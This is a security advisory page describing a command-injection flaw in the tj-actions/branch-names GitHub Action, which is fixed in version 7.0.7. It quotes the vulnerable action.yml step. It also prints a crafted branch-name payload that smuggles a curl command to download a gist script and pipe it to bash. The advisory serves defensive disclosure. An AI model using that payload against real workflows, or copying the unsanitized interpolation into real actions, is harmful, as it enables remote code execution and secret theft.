CWE
20
Advisory Published
Updated

GHSA-8v8w-v8xg-79rf: Input Validation

First published: Tue Dec 05 2023(Updated: )

### Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. ### Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}") HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}") REF=$(printf "%q" "${{ github.ref }}") ``` An attacker can use a branch name to inject arbitrary code, for example: `Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity. ### Impact An attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. ### Reference - https://securitylab.github.com/research/github-actions-untrusted-input

Affected SoftwareAffected VersionHow to fix
actions/tj-actions/branch-names<7.0.7
7.0.7

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the vulnerability ID for this issue?

    The vulnerability ID for this issue is GHSA-8v8w-v8xg-79rf.

  • What is the severity of GHSA-8v8w-v8xg-79rf?

    The severity of GHSA-8v8w-v8xg-79rf is critical with a severity score of 9.3.

  • Which GitHub Actions package is affected by this vulnerability?

    The tj-actions/branch-names GitHub Actions package is affected by this vulnerability.

  • How can the vulnerability be exploited?

    The vulnerability can be exploited by executing arbitrary code using a specially crafted branch name.

  • Is there a fix available for this vulnerability?

    Yes, a fix is available by updating the tj-actions/branch-names package to version 7.0.7 or higher.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2025 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203